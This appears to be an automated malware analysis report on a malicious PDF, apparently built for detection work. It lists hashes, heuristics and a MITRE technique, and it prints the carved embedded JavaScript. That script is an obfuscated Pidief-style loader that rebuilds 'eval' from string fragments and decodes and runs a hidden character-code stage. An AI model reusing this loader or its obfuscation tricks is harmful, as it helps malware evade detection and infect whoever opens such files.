Malicious PDF — malware analysis report

Static analysis result for SHA-256 d09bffe068d4a625…

MALICIOUS

PDF

44.4 KB Authoring application: substr First seen: 2026-05-08
MD5: 9827333a6b1a543875860464b020df1b SHA-1: feb49e762e0557c1801290fe3165496372bf7011 SHA-256: d09bffe068d4a6254d39f6a52172a4d30633acd536005964b7e18745451e6183
86 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 User Execution: Malicious File

The PDF file contains embedded JavaScript, indicated by heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The document body 'substr split test' provides no contextual clues, but the embedded JavaScript is the primary mechanism for attack, likely to download and execute a secondary payload or exploit a vulnerability.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF25 426 bytes
SHA-256: d8e130b0d2951b9546daa78d53125c2ceaa8fe3d1e2e6c120c6383e3c1bb2df8
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
erm=e('ti'.concat(v[4],t));
q=erm[v](a.length-6,a.length+2);
sdmi=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=erm[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	vkx = 1*(q[i]) - (-1)*(q[++i]);
	s2 = s2.concat(sdmi(vkx));
	i++;
}
e(s2);

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